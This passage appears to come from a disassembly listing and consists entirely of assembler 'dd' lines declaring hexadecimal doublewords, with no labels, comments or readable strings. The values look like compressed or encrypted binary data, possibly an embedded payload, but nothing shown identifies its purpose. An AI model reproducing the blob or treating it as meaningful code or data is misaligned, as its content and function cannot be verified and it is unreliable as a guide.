		dd 0B0E000ADh, 0C642DA54h, 0CC00CAECh, 0EA8B6294h, 0FB8DBCh
		dd 0D46F56EFh, 90123E15h, 1C002FF2h, 8004E022h,	0B007C1FFh
		dd 0EDC40009h, 75B56E34h, 28004042h, 518A21D9h,	6BCBD6h
		dd 68FF6513h, 435A152Eh, 10AAF300h, 0B31E064h, 3C70759h
		dd 1116D432h, 0C8E36B14h, 0FE021385h, 37847FC8h, 0CB186045h
		dd 4AF53A63h, 70B7E03h,	26A83FC9h, 7C00FEF1h, 0C38D6B3Bh
		dd 0B3A236Dh, 0CF01AC19h, 77F68000h, 1B01F529h,	0BA4CB94h
		dd 0DCC883C0h, 53CA0F5Bh, 0BBDCC5C2h, 0CE762A7Eh, 1FBB00ACh
		dd 3664B0D2h, 1C3321FAh, 12008DEh, 0D1370E21h, 303187E3h
		dd 127C3254h, 7251FB07h, 45415CECh, 86FC35F6h, 312C90ABh
		dd 0C518D82Fh, 0F84906E2h, 210F006Ch, 0C1B740E7h, 43188389h
		dd 0E450DA59h, 0D980349h, 0BF0EF4D3h, 1A5A923h,	6305D222h
		dd 881F18DEh, 0D1003ADBh, 0FC49113Fh, 507917h, 6DA03491h
		dd 2F31369Ah, 7F20D200h, 0DA026658h, 0E06E0077h, 68A5F1EBh
		dd 0B57F783Ch, 0D4B3EC24h, 0F89BE00h, 0A97D0Dh,	2907E650h
		dd 1BD9AA41h, 4E21F001h, 11943F02h, 0F32920h, 0CD13C81Eh
		dd 0BD463CEDh, 6C71E803h, 0A198AADBh, 0CFF35FCCh, 2D738040h
		dd 591918BEh, 2967294Ah, 0CD03FEE2h, 0C475942Ah, 3F083092h
		dd 29820A21h, 97E15800h, 0F6CBF0D3h, 0D9F40133h, 47738167h
		dd 5828B222h, 291D3065h, 0C3CE123Ch, 29760680h,	0A207C1BAh
		dd 0E373178Ah, 40658AAh, 0D607119h, 0A07B4B86h,	47388718h
		dd 30E16ABDh, 1180E9A6h, 23842C88h, 600CDD5Fh, 8B567D2h
		dd 0B321C1A5h, 0F85483E4h, 64004A55h, 654090C3h, 1A44D7E7h
		dd 2886C02Dh, 114860D7h, 1838704Fh, 9F0F573h, 20C043E7h
		dd 0BB1134B1h, 11A071Eh, 0C1D64EEEh, 8C73A823h,	0E14C5950h
		dd 671F074Dh, 414BC06Bh, 0DCC7936Ah, 28C0525Ch,	0BDBE3329h
		dd 832D9024h, 0BFFE98CCh, 48D90145h, 0F7936CACh, 0E076F413h
		dd 3DEE0500h, 1489960Ah, 3EB3010Fh, 3857BEB5h, 45E320DEh
		dd 620C1900h, 77B2CBB6h, 0CFF40068h, 0EAA956AAh, 167261EFh
		dd 0FA5DDB00h, 918A96D8h, 7451C0D5h, 53A7B333h,	0F2C9F400h
		dd 0AA510661h, 88D33B80h, 4B2224F8h, 0A0BF06B0h, 89004017h
		dd 0A568E9DCh, 0B8EBDAh, 0B4F991D7h, 1A35CF83h,	89A7B700h
		dd 2C5FF29h, 49B60019h,	3C088CC8h, 0A300593Fh, 20667FF9h
		dd 0E4E037h, 19E204C0h,	1A954282h, 9F43F03h, 0DFFFC4Dh
		dd 0E2DD8A20h, 0C05ED8B1h, 68183660h, 0DE32090h, 9B0EA960h
		dd 87FDE4E9h, 44983320h, 123A15EBh, 0D93C5Fh, 3E5CDB06h
		dd 3AEFC11Ah, 0D38042B9h, 5DA94607h, 9700C412h,	0FC886EC6h
		dd 53B11E2h, 0ED983414h, 0A09DC025h, 0C7003743h, 40A235F1h
		dd 0E4E1893h, 36863220h, 0D0703380h, 0D5070538h, 0E12629E5h
		dd 34B759F0h, 7EA11EC5h, 220D401Eh, 9F271586h, 830035ECh
		dd 0AD6AFA47h, 0C853Bh,	1CB29EDDh, 37887158h, 3FEC7700h
		dd 0FF0168E2h, 0BFC040Fh, 81DF3D74h, 603254CAh,	20030A89h
		dd 640D6227h, 0A1A5D047h, 7A830CF1h, 0BA509A72h, 563EA800h
		dd 0D32A6A8Eh, 2C7271h,	57D0930Fh, 89C8B148h, 6F535404h
		dd 0C780C106h, 1EC369EFh, 10019Ch, 0FDD2585h, 0BE008371h
		dd 6DDE2B36h, 0D4383Ah,	0F57F69D2h, 9EFCAA53h, 7500C077h
		dd 5B74FEF6h, 0FA65917h, 1AD649D2h, 0CE23E840h,	6EF02235h
		dd 0F608D401h, 0E2A09CFFh, 84703BF5h, 0E5C20046h, 56D518EFh
		dd 5C00861Fh, 92C5F34Bh, 3E0130Ah, 3A531A1Bh, 75DF5EA7h
		dd 0EC31C0FCh, 0F2FA8CDAh, 52C82560h, 0F0EBDC0h, 0A42193B1h
		dd 0BC5E2EC0h, 22004C58h
		dd 0D0331FDDh, 6E113Dh,	4519E7D7h, 9108D8F3h, 0AC676D02h
		dd 4046EB13h, 0E763783h, 5B4FD43Fh, 3204880h, 2A06CF3Dh
		dd 377DF98Dh, 0B3E10728h, 64F62Eh, 0C03CB6C5h, 0A8CD600h
		dd 79F44EDCh, 0FDE00Bh,	27164455h, 1A7195E2h, 14A6C400h
		dd 0DE420E6Ah, 70C7005Bh, 3163529Eh, 59000A3Fh,	0AF75CC82h
		dd 0F0D5F65h, 0C0465DC7h, 0EE4DE7C3h, 16939807h, 9E10BE7Ah
		dd 13664Ch, 439AE490h, 46F98FC7h, 0B62B1C00h, 39A99625h
		dd 9AD3DFAh, 800FDB1Eh,	0ABF73095h, 8007AF5h, 0EA1A9636h
		dd 908CF0h, 54501F6Fh, 0B8A632B6h, 0D700B97Ah, 0F55915D1h
		dd 0A5B0D6h, 0EB28EE6Fh, 7E279313h, 34457800h, 236ACA82h
		dd 0EE680FA9h, 809FBF46h, 8969C796h, 16E23438h,	944FE607h
		dd 2CD060D0h, 0F0A6B1Eh, 0F55E67A5h, 0B7B22203h, 0F06D12F9h
		dd 6C003C03h, 0E53841F7h, 4220ACh, 3F86B1E3h, 54329CF3h
		dd 0B264DC01h, 8F176EE7h, 0E0C75721h, 0C0D066F1h, 0C3B45B3Ch
		dd 0DB002CA4h, 0D44A9A69h, 39470B43h, 1600539Dh, 898B75CBh
		dd 0CCECEE11h, 207E631Fh, 0AD6C72C0h, 3C18FAh, 4514F8A0h
		dd 3FD4FD55h, 58C80302h, 6022376Eh, 1961577h, 8C91ACFCh
		dd 0E0C04AC9h, 0D3003E3Fh, 1335593Ch, 0A37B4CE1h, 0C5FC82Ch
		dd 0B17AD2h, 3CD63D15h,	945A0F5h, 8947540Ch, 53682Bh, 4E7A696Bh
		dd 8201F4E2h, 72976012h, 249F6847h, 1BCF3720h, 0B5930079h
		dd 2AD58A67h, 0E60071B7h, 8DCDD149h, 1FC98277h,	5D36AC53h
		dd 6498C184h, 0C06D9352h, 7F009041h, 0DD197A99h, 0FCC5376h
		dd 0ADBA30E5h, 382AC760h, 0E8A0283Bh, 4475F4F9h, 0FF523F00h
		dd 0C81D653Eh, 95CE004Ah, 0B989F00Fh, 8400A2C7h, 0D3062FB0h
		dd 3C474E90h, 8E801088h, 48AAE912h, 8A07A045h, 0C8B337AEh
		dd 62A800A9h, 18392F01h, 5866247Eh, 0E50073B7h,	3413D504h
		dd 3D80AC3h, 0F85BCD67h, 38F670CAh, 0F0033E76h,	7B2F2C5Dh
		dd 2B128180h, 0C0EA3360h, 0CA230620h, 0C7506E45h, 3700EE9Ch
		dd 570E240Dh, 2ED372h, 942CF796h, 65F38D84h, 7B8CB00h
		dd 2742FF04h, 0ED5E0077h, 4FBBEA1Ch, 0C638D6F0h, 0AA9280D5h
		dd 0E89E19B6h, 63BE5C31h, 0EFFE2Ch, 0E2957EABh,	0C700BBB4h
		dd 62CF1A1Dh, 3C209B4Dh, 0DD00332Ch, 6AFB0540h,	7B0087FCh
		dd 0AA5EE3BCh, 182CCCBDh, 282052BBh, 0AD0484B6h, 0CF0C1074h
		dd 0AEEB05FAh, 3E2B8170h, 280422F3h, 0AC002C41h, 629A133Fh
		dd 0CD16B7h, 0DAF4FC37h, 446C9B53h, 47FF5A00h, 703E18F7h
		dd 0A318C01Bh, 5887DB6Fh, 9E249150h, 61FAFF33h,	787777h
		dd 0FBF3F203h, 0A14552B6h, 1684EF07h, 5750FDABh, 3BE11CADh
		dd 2454E90Bh, 155F1418h, 9C15EFD3h, 21113044h, 0D87507F4h
		dd 0CC10CF0Bh, 0FA197B0Ah, 92F107DFh, 0F5610FB0h, 213DC088h
		dd 5A1CDC6Ch, 6F80DEBBh, 0A427A8D6h, 81F52880h,	0EE95EACFh
		dd 2B00AD0h, 9111BCh, 501D57C8h, 137775CAh, 79660430h
		dd 7D30445Eh, 1C5C00DCh, 0DAEB7C73h, 9E0B2B47h,	0BF0507h
		dd 12780805h, 0CEB40397h, 58AADFFAh, 151A4112h,	835F9C20h
		dd 342D001Eh, 0DA452BC6h, 0BE0FB2F1h, 4E579A3Fh, 2D0697FAh
		dd 0C305F9Eh, 0E358781Fh, 18554249h, 0D332F08Ch, 3B8788h
		dd 79B717DCh, 0E5BFBC4h, 0CDCE8E01h, 9BAAC992h,	6791422h
		dd 1C7D5564h, 5BE691E4h, 9743FF00h, 9CDADC0Bh, 7FB7269Bh
		dd 84D0001Ah, 769E6044h, 58041B02h, 485BB9D4h, 172C90h
		dd 7B5FB3EBh, 86D61A0Dh, 2569607h, 600E979Ch, 485D4222h
		dd 0ED33009Bh, 0C40940FCh, 19F88EF0h, 9CE1AB60h, 178D4358h
		dd 0CE24487h, 85D9F861h, 27C5F900h, 0C3B18B5Dh,	0D39D01D9h
		dd 6443B4E3h, 0B34180ACh, 813F6929h, 6C820058h,	0C684554Eh
		dd 640028E4h, 9DA13A4Ah, 55AEB3Ch, 75AAC04Fh, 5D884035h
		dd 41CFE6F2h, 17C711C0h, 5C7AE3h, 9BDD0EBEh, 149CD134h
		dd 0DB959600h, 0DAFAD02Bh, 6874B4h, 6C93FD21h, 0B3679E78h
		dd 191D231Fh, 30AD0741h, 0C99460F6h, 0A60030D7h, 0C2BC704h
		dd 12715AA3h, 0B58F090Bh, 4A8A8068h, 3A82F648h,	0F4541C81h
		dd 0A48000CBh, 0E21B1ED4h, 1301CC2Dh, 1052C4B2h, 80F1FACFh
		dd 30C531D8h, 7A71D7E5h, 9014DD3h, 7867CF4Ch, 2022EA52h
		dd 9A006321h, 0C8FC3258h, 4D4700B4h, 0CE3952F5h, 0ED6273AAh
		dd 201E1C31h, 0A9147C09h, 9F1C707Ah, 0DC810D78h, 0CA32716Dh
		dd 0E17993h, 0AFD5EC8Ch, 0D6001BB9h, 821B781h, 248266BFh
		dd 47EC69CEh, 842AB3C4h, 0FD1927D0h, 86810C3Dh,	0F7326CBAh
		dd 85E21F51h, 2CD2C0B1h, 63CEB061h, 83D20A0h, 0B72E3109h
		dd 9548205Dh, 79BA29Ch,	0A952ADB5h, 0B0FB7045h,	85012435h
		dd 79517D8Ah, 9CC58149h, 54CFD1E8h, 465CC0Dh, 87F9BA40h
		dd 965B8019h, 810E4F75h, 40C3C9E5h, 36CA92ABh, 0E977BEDh
		dd 1DA02E52h, 0AED56E81h, 0E82CC8AAh, 687820FBh, 4D0294EAh
		dd 9AD7A2F4h, 0F70407Fh, 7E550040h, 359B4ACFh, 0C6583DA9h
		dd 193ED7h, 8DFAC36Ch, 9673BF5h, 0CFC95EB7h, 4E9E003h
		dd 4E8840B5h, 2C90C1F1h, 1C79A700h, 0E73C5758h,	362703EAh
		dd 0BB6A5CD9h, 70319EAh, 264BA074h, 0A6C838A2h,	93ADC50Fh
		dd 29ACEDC0h, 0B753CDD3h, 1DE400A8h, 0B8A79C5Dh, 9E500086h
		dd 529F0954h, 0C60A06C0h, 9848D734h, 0C7EE228Eh, 7B6086D0h
		dd 9A971DA6h, 5FC70028h, 0C542D349h, 8848C49Ah,	0C31C4040h
		dd 0E0D48700h, 232F19BDh, 77823064h, 0D5A3D6B1h, 951B4900h
		dd 0FBEE7CAFh, 730C0001h, 0F5D47ECEh, 891FDCE4h, 0F652B73Bh
		dd 7417F800h, 14617F02h, 0C8559A90h, 9889B91Eh,	50162069h
		dd 6ACEF50Ah, 0FA00741Fh, 78A1E7BAh, 993C6173h,	9DAD9F42h
		dd 0C0A6EA89h, 0AC75C08h, 80C0F04Bh, 0DEA1B216h, 840058CBh
		dd 30B14E5Bh, 90A78F08h, 4C7114E3h, 0D01DE44Dh,	0B9280F0Eh
		dd 1CF49802h, 0AA039090h, 88D65501h, 420F68F0h,	30312820h
		dd 798192B8h, 5F002B6Ch, 4DA3492Ah, 63049722h, 0CA76D046h
		dd 0A63BD481h, 0F100ABB9h, 0DFAA603Eh, 0E188007Ah, 2A241BFh
		dd 2002D0B3h, 92CE575Ch, 7468C65Ah, 8B050148h, 0C05E9068h
		dd 0E45CC9C7h, 723D2A14h, 0FF91828Ch, 91047078h, 0A087690h
		dd 0B745F508h, 0B49D5Bh, 2787CE0h, 9900D3FAh, 70158E0Ch
		dd 164E710Fh, 201D963Ah, 39E7F480h, 5046E300h, 43C3C0DEh
		dd 94B20767h, 21BB04BFh, 0BF379B78h, 7D648179h,	0F0C5294Dh
		dd 0A1D21CC9h, 2FEEFCE4h, 0E59D2E8h, 74BCC637h,	2C0D9CC1h
		dd 69C42056h, 854E5700h, 0B78DB3C9h, 13C1C063h,	0C7200F8Fh
		dd 55067A12h, 11153B06h, 38230059h, 0EF716FCDh,	2290D416h
		dd 57F0B600h, 0C20D9214h, 414E181Dh, 8E1FD1ADh,	4ABEA600h
		dd 1276E654h, 92D07545h, 95560038h, 7DF37E70h, 0A21EBEFBh
		dd 80FAA075h, 9DC1C3F1h, 10B91560h, 88951A43h, 6DCE80C9h
		dd 76F60613h, 0C77C1500h, 9E981E34h, 78A759D6h,	42063F31h
		dd 76E230F5h, 29FA3E00h, 2CC9BFC3h, 0E0302E97h,	459A40D0h
		dd 0D06704D5h, 4670E811h, 38C412Ah, 819A106Ah, 5EA0E1A0h
		dd 0D42A1A8Ah, 7879C442h, 0F6B3BD00h, 0EF198344h, 367D02EEh
		dd 7E46F37Fh, 0C73928E6h, 168800FEh, 0A82C607Ch, 98EF0099h
		dd 45FCF06Ah, 500A084Dh, 0A076B70Fh, 0EFFD9980h, 77D87BAh
		dd 29063D69h, 0D62070CFh, 0FA75FB4Bh, 8078900h,	0EAB88CF7h
		dd 9EDD00CEh
		dd 0A5352D1Bh, 34BACF5Bh, 0F805A6F6h, 121536D8h, 2063E84Fh
		dd 8A52B590h, 0B4BC00BBh, 8DC009E2h, 6A091647h,	10CF4E26h
		dd 6BCC38h, 1E667CA0h, 9256AEE2h, 0B30B7098h, 10D648FAh
		dd 0CD0E18h, 51791C65h,	87DBC7A1h, 0B1E12200h, 859469C4h
		dd 0CF8E1D1Ah, 0B5FAC013h, 5FC0C3E4h, 533E4AE6h, 3D0D8F4h
		dd 0F6D4655Dh, 8DECA825h, 0BA4C0852h, 8716C75Ch, 18671B00h
		dd 0A062C4h, 0DAB2F085h, 0A388E0A1h, 0C2CEFB13h, 0D480E024h
		dd 9117413Dh, 25E403D4h, 217BC315h, 0A4B4DB00h,	729B0AFDh
		dd 0C58409D4h, 7098396Fh, 15E802DFh, 0F2D12A02h, 98D62F1Bh
		dd 2761D4h, 4D1A28D3h, 0C2C3BA56h, 0E867AF00h, 9BA4B89Fh
		dd 0AC323C57h, 0DA6E5804h, 91DCA404h, 0C65C290Eh, 8CC24020h
		dd 12B8B7F8h, 201DAFF6h, 9C77551Ch, 0B110B400h,	523C69A1h
		dd 0A04D0982h, 408DE81Fh, 26F4DCC9h, 8B58C43Dh,	13B7BEBAh
		dd 43118020h, 509D000Eh, 62515339h, 0EA00E01Ch,	265DAC76h
		dd 29685B9h, 66718CFDh,	26C1849Ah, 0D5418078h, 0AAD08245h
		dd 2350003Dh, 6A4EDAF0h, 84E858FBh, 0E118A502h,	644F783Fh
		dd 3D64058Ch, 201DA12Fh, 0B25677B4h, 9A2E1C67h,	0FD598260h
		dd 9132F4D9h, 0E0090EBCh, 65B6A500h, 2CF203A3h,	957AFA3Fh
		dd 18889A1Ch, 0E58EED16h, 0F4BF02C4h, 0E0D34884h, 64142C68h
		dd 0CF03E800h, 0C7D8C4FDh, 1840192h, 0C9705699h, 0FCAC49C2h
		dd 79D3F52Bh, 1BCE5B00h, 0C0981583h, 0B1B56EB1h, 96057324h
		dd 61B742C7h, 0AFA48840h, 979A190h, 9B7AB12Ch, 62499418h
		dd 0B4B54300h, 501F8D8h, 25FA01C4h, 3A515B57h, 10639Eh
		dd 361C429Bh, 0B515DFh,	723C3EA3h, 0F3916A58h, 0C455CF02h
		dd 52FE30D3h, 0ADA21260h, 72308071h, 9E01853Bh,	87577AA6h
		dd 75204502h, 301E269Fh, 0CF1F007Ch, 74AAE792h,	7446EB4Ah
		dd 30815C17h, 7759CD32h, 9E000B02h, 2ECA98C1h, 0E0809D5Eh
		dd 68AA0CEFh, 0E29CF32h, 8A4F5800h, 0D6409907h,	127741h
		dd 0D8B02DB2h, 825D7D2Fh, 29582000h, 3F0AF4ADh,	52E216A1h
		dd 60E43734h, 6D88B330h, 9B6FC317h, 1B025016h, 0C0188197h
		dd 4B42D968h, 788445A0h, 6EF02099h, 0CE6004ECh,	0B983AD91h
		dd 4D72288Fh, 398712F8h, 1F016ABh, 3422C978h, 30C1E13Eh
		dd 0BE137D30h, 2090B8FAh, 0FE0B0156h, 84460792h, 1952D8BFh
		dd 6FFF4082h, 8700F046h, 38B2D0B5h, 1D25B8C4h, 5862E884h
		dd 0D27B21AAh, 0FB6B3Ah, 0A20E4137h, 4FE4E4Dh, 304B9079h
		dd 9F3488F8h, 96B42B26h, 5C005117h, 8E52D37Fh, 54342C9Eh
		dd 353F005Ch, 0FA9255F7h, 2A837302h, 4660205Ah,	0B678004Ch
		dd 0B5E92B8Fh, 9F03B9F6h, 82B14267h, 7C910060h,	34B0BBFAh
		dd 0E007847Fh, 4BD878C1h, 0F6A98EB0h, 646200C3h, 5BE5684Ah
		dd 494B2DBh, 0CB3C3F60h, 7981E818h, 7FEB18DEh, 1F401A58h
		dd 0A729EE6Eh, 0C510FC73h, 4F0EB8h, 54740CDAh, 5178BD84h
		dd 830B20Bh, 494004C1h,	52BBC83h, 0FBF53D61h, 0FAB40395h
		dd 899D30A6h, 309021C4h, 388CAC4h, 7BE075Dh, 0D064C081h
		dd 0D0960CE2h, 0DB2C1714h, 0FF5107A0h, 0C6E0D1B3h, 0AB08631h
		dd 1C206A9Fh, 0DFC04098h, 5804ED34h, 0B778B50Dh, 1E5D4488h
		dd 0C0B1D994h, 6B8E3CACh, 41344309h, 0C800217Eh, 0A4D0CFBAh
		dd 0FA4D3A46h, 27159Dh,	0CDDA85F9h, 3A3E5E11h, 178C5221h
		dd 0F21D36A7h, 0D7589F00h, 124DE983h, 0C82D6AC9h, 0A5242628h
		dd 0B7403082h, 75310Eh,	0E950E24Ah, 0BB84BFB0h,	60001499h
		dd 4DCA5EA4h, 0DC9B00F7h, 5039D998h, 9FE2CE6Eh,	24B4515Ch
		dd 8540ECB7h, 0F1531Ch,	0B85B2ADEh, 45EF4296h, 0EAE8BA00h
		dd 85560B3Dh, 50A0F2B3h, 1A74C1Dh, 2F0AC3CAh, 3065BA42h
		dd 0C5FA84E8h, 0C8FB2B2Ah, 2628CD4Ch, 960098CCh, 3807A53Ch
		dd 0B6C9297Bh, 10997F0h, 0C0E44DD9h, 20E931C3h,	0A47683D3h
		dd 78516F09h, 0E7BCCB7Ah, 0C0A22C50h, 0BF489961h, 40F1C41Eh
		dd 1EF32F16h, 4F0020BFh, 8A0F3863h, 9C875Bh, 0EC030972h
		dd 6F079B32h, 4A9ACF39h, 0F3B23040h, 3886E9DFh,	26002432h
		dd 1999F895h, 16003F3Ah, 57F04364h, 99D5D827h, 803C87E0h
		dd 0A990407Ch, 9B06ABDDh, 0DF587870h, 0D0942C59h, 51D460E0h
		dd 5C02994Dh, 9F18FA2Ah, 7364E0CEh, 0B78F16B4h,	97D01381h
		dd 308279C8h, 0A8902D30h, 0CE3E2F9Ah, 401E007Fh, 6ACFAFB3h
		dd 21CC604Bh, 18C705E0h, 0DBA0017Ah, 0F803D355h, 71B25F34h
		dd 0F350EF08h, 129E7CABh, 2B73964h, 1A3669ECh, 0EC297C61h
		dd 0F6522B30h, 536E3AE0h, 171005D4h, 84B4E4C5h,	0D8851D58h
		dd 88003EA6h, 9ED91E70h, 0FF3C6C25h, 14CCC0Bh, 6FB80CE5h
		dd 0E8288285h, 47ACC980h, 46037701h, 30B4FC48h,	0E27DD0B0h
		dd 429C03B3h, 65A14456h, 0F49112E2h, 5CC307Ah, 880E8532h
		dd 5D7F20D7h, 560014EFh, 282CD46Eh, 7116A16h, 6264BD7Eh
		dd 91E1C454h, 0DC633A44h, 61F5B85Dh, 0EE75E924h, 0C2008859h
		dd 6346E5EEh, 8CA601AEh, 0F88EB4B6h, 8282E115h,	0D8F00480h
		dd 917A609Eh, 316980Bh,	0CA34CF6Eh, 4926FBD1h, 6540F8B6h
		dd 9CD399h, 1BE366D0h, 0EBA1CCA0h, 29FAB00h, 0C38C3A9Eh
		dd 0CE6A0164h, 0DCAADE92h, 207376h, 0AE09AB8Bh,	67D3F6A1h
		dd 0E12620BDh, 36C8C955h, 3ED0194h, 64A41B9Fh, 3C9B55C4h
		dd 0FF16BC28h, 0C8A20BBEh, 57E9A449h, 9941E0C4h, 18005098h
		dd 0B063207Bh, 0B5026Ah, 0A7530869h, 0D1CE96F9h, 3D6C3251h
		dd 0F5550014h, 85C44508h, 674900A4h, 2D7F17C2h,	0B705FE37h
		dd 0F00A056Ch, 541D0880h, 765226A6h, 0E6806FA8h, 0A9424F21h
		dd 0F62EF90Ch, 4FCDA1D2h, 8E34305Dh, 78100595h,	5D80379Bh
		dd 0E3B6CA1Dh, 41EBD0BAh, 20F36E2Ch, 4B26B412h,	0C6092C3Dh
		dd 345C901Ch, 7FE004Ch,	8B464232h, 3F046638h, 0D8DFC4E1h
		dd 0B4151E45h, 7A507D1Ch, 0C9018382h, 0EAAF1157h, 85CCEBF0h
		dd 21B530CEh, 0A6551829h, 0D040164Eh, 7681AB88h, 71843DF7h
		dd 0FF1CBE02h, 18C41A42h, 31A53B00h, 847C9238h,	0D5F101B9h
		dd 7E7B0816h, 405AC642h, 1DB7D308h, 7239802Bh, 0CCEC3E0Bh
		dd 96BD7F02h, 0D13A053Fh, 51AC00E0h, 2A58E05Ah,	0B052930Eh
		dd 5E23204Eh, 7965E6A2h, 96642775h, 0E8F26490h,	5BC1B700h
		dd 928F03B4h, 6E2B0FCDh, 1520C2A5h, 8297E7F8h, 85809899h
		dd 0F3D7FDB7h, 0DCF5001Dh, 6563C420h, 410195A6h, 0B90155C1h
		dd 0BC485FCDh, 0B02752C4h, 60B87D2Ch, 0F0C2CA0Ah, 0F4BC423Eh
		dd 47084C05h, 681C82CDh, 0F5D1B040h, 775A8C7Dh,	5BE400B6h
		dd 9F773EB2h, 0DA0EBEDFh, 248122A2h, 0CCE2B63Bh, 95069000h
		dd 286CF3E8h, 0D3402F00h, 15FE8B23h, 0F581C130h, 0D95A9141h
		dd 0FD65CC7Bh, 2ED19E0Fh, 0EBBFA7CEh, 64A1B0D0h, 133CF087h
		dd 524ACAh, 2AFA4C42h, 0D12F68D4h, 238424D2h, 0AD2D4C80h
		dd 94DF776Bh, 38290124h, 69CF9B46h, 0DDDC1E94h,	6D88B680h
		dd 6607A0Ch, 12A43B4Dh,	6F01C873h, 0AE47F530h, 54308005h
		dd 762A00A5h, 162BE863h, 32300896h, 460CE96Bh, 38E80Bh
		dd 6AF509BAh, 9A1A5DC2h, 8266580Fh, 51D6C4D9h, 0C9C884C1h
		dd 0ADEEF9C3h, 40304C0h, 0B3F387FAh, 0F5B0C310h, 6439E8C8h
		dd 22307D4Ch, 24F10921h, 20F4D1h, 60FFAE9Fh, 78147900h
		dd 8C6E2791h, 0CBEA6Ch,	64A9063Fh, 9D92CA03h, 0C040014Ah
		dd 69A35BD4h, 0BEBB00BAh
		dd 7F8C5745h, 0B71298B3h, 48203255h, 0ED969Eh, 1EEF6E7h
		dd 0EA6B863Dh, 0A5FFA400h, 0B8F87283h, 0BB8B811h, 5622EC7Ch
		dd 43A85860h, 0A13A5D12h, 556F7CD1h, 59A44FD1h,	4C44251Ch
		dd 0CB405494h, 3BD265ECh, 0CD004F8Eh, 29D70D85h, 0F602287Ch
		dd 0B82F8B0Bh, 18C84865h, 74AB0132h, 0C0A58E78h, 0FB14F44Dh
		dd 1C00D37Ah, 982C019Fh, 4CB7E7CCh, 8D0040BEh, 296BE0BDh
		dd 78273845h, 6A7C1073h, 0FACD1DD1h, 405116C8h,	9C5DCAC4h
		dd 6E0755F6h, 2A183ABCh, 0C0E29D90h, 1B0E2C64h,	0D9500018h
		dd 3390B44Dh, 3040155Fh, 0DEA34732h, 0A1AD1D8Ah, 0C418145Eh
		dd 608CC824h, 45CFB74Dh, 0DAE0B400h, 74B28A43h,	0BDDE2529h
		dd 6A013410h, 885BA300h, 386249ADh, 82A01833h, 0E3392161h
		dd 9A68C602h, 0E1073E1Eh, 0FA10EAA8h, 950205C3h, 0E932FC39h
		dd 4CC48391h, 0FAF91336h, 0E1E48847h, 5DDE3B00h, 1B7A740h
		dd 568F0068h, 4ABD8038h, 46094318h, 91D671A8h, 0C8307C40h
		dd 0E0DA0022h, 2A0217F6h, 5C4BFBC5h, 65A20030h,	0F132376Fh
		dd 0D039F069h, 0A72C70EBh, 6A82F41Eh, 592D51D3h, 41151FF4h
		dd 0A1B2DF74h, 27BC3216h, 0C24FED8h, 0D358E9BEh, 24222C00h
		dd 61640A1Eh, 70AA54CBh, 0D4E95C6Eh, 8702E12h, 3980E340h
		dd 0B8B1E567h, 0F20122BBh, 0CACD5Ch, 117E1E5Ah,	5FF809Dh
		dd 9E59B3F5h, 5F0CC55h,	0A543EC00h, 21795171h, 0B5D000F0h
		dd 0C74CB2A6h, 6360CDD3h, 0A6EDD81h, 0F5A501C0h, 7580D8F1h
		dd 58886D32h, 0B2810E73h, 490280ABh, 0F82C8A31h, 1AED3F6Dh
		dd 3FC82F01h, 30ADA9D3h, 4278BB4Ch, 0E88CB309h,	2C593Eh
		dd 0F7B75A31h, 40911605h, 0C6C2F600h, 4E8FB536h, 0FDC440D0h
		dd 7C14E70Ch, 827A2300h, 0F9539E70h, 78680D79h,	21B94777h
		dd 0DC90CF98h, 0CA2F309Ah, 0FEAC9960h, 0FC007423h, 64F7F90Dh
		dd 8C0E55A9h, 8082FB49h, 0AC51DF19h, 40F84A30h,	4A64A564h
		dd 38246F21h, 63603C6Ah, 1A0184h, 0F19D52F5h, 0AD55E068h
		dd 0A31D092Dh, 0D8BCC47Ch, 0F0B9AEFh, 807B5188h, 0A4F33700h
		dd 0B6008AF8h, 0BB845627h, 0BE16B705h, 7100BC50h, 0C7B1C6DFh
		dd 72502AE3h, 693FBDA0h, 219A8681h, 0FC89CB4Bh,	0A3B40256h
		dd 6A54B9CEh, 66432FE0h, 18E00D02h, 5CCF4F9Ah, 4DAC0038h
		dd 4AB6E508h, 4C07F8E0h, 8458EB3Ch, 0E6099492h,	1697F14h
		dd 0AACFCD66h, 0AC1FDE70h, 42606C18h, 4EA13F7h,	0AFE2E639h
		dd 0AE9AC0C6h, 58005215h, 2D61D717h, 0FEFA4613h, 0F8250BB1h
		dd 9C101D9Bh, 9CE45CBBh, 0FEC33D00h, 21AB7464h,	708609C2h
		dd 7C85B860h, 0AC64C288h, 25C80729h, 0FAC52D9h,	3C262E35h
		dd 1812E980h, 6700361Dh, 0FB753E88h, 958D449h, 0CAF6856Eh
		dd 0BC390C00h, 0E14BC54Fh, 0C40CA845h, 0AD7A3480h, 885890F6h
		dd 70BE350h, 0A6109549h, 0BB4CD089h, 0D4B8C9BCh, 6975CD12h
		dd 6C774A0h, 8A7B84AAh,	0D00B0EBh, 5D2925FAh, 777F0EDEh
		dd 16D87074h, 0C8B108C4h, 0F00091B4h, 347FB9Dh,	179F443Eh
		dd 0C86D1627h, 0D73E8A90h, 0AB2F0075h, 5E61D284h, 0B0C0005Dh
		dd 0E9867E55h, 0F50443BAh, 3F207209h, 26D08Ch, 0E1BE6B56h
		dd 31B7A104h, 0CF85C803h, 0FF0D631Dh, 0E0309651h, 0CBA58448h
		dd 54882348h, 0A4D83288h, 22ECFC84h, 0F62E2Fh, 269DCD04h
		dd 0AC00D18Ch, 9844FA6Fh, 12281A39h, 0A37B79h, 0EDA50398h
		dd 34A03251h, 3700FFB5h, 24AB817Dh, 5BB293EEh, 63FC4082h
		dd 1B83FC79h, 0E7C3A00h, 4F8840AEh, 101097D2h, 0C90071B0h
		dd 0B92DCB16h, 3B4C153Ch, 0B2029DDEh, 184307EBh, 3DBCA879h
		dd 6ECF97E4h, 5A5C4420h, 288AA3CEh, 40B611h, 0BB799404h
		dd 3FC924E1h, 60A16E00h, 559B8E31h, 0B0C426D3h,	0CAF0020Ch
		dd 0CD9F3B7h, 0BD636D00h, 17E252Ch, 9742714Fh, 2F7078FCh
		dd 28C83856h, 0E031EAB2h, 3BD8002Ah, 1ECA9D70h,	1B5F6445h
		dd 0C890F427h, 1EFC6A2h, 3F507A5Bh, 0D4574F3Ch,	9097CA5Ah
		dd 4D094h, 320DC209h, 55C0A130h, 8E42B00h, 0A48A5C96h
		dd 0A2292E95h, 0D71C066Ch, 0A097390Fh, 4AAEAD78h, 0DC9F00C8h
		dd 0BA1B6DACh, 480077DFh, 0B804F1CBh, 137E590Bh, 90F63045h
		dd 29C2CD98h, 0C851A0AAh, 1E615E00h, 3B353E48h,	19E0B5FFh
		dd 892577E4h, 0FE0516B8h, 3E529B6Bh, 84C0A400h,	16B174EBh
		dd 0D53226DDh, 0CE79005Ch, 30AF8AF0h, 0BDC60802h, 52D12064h
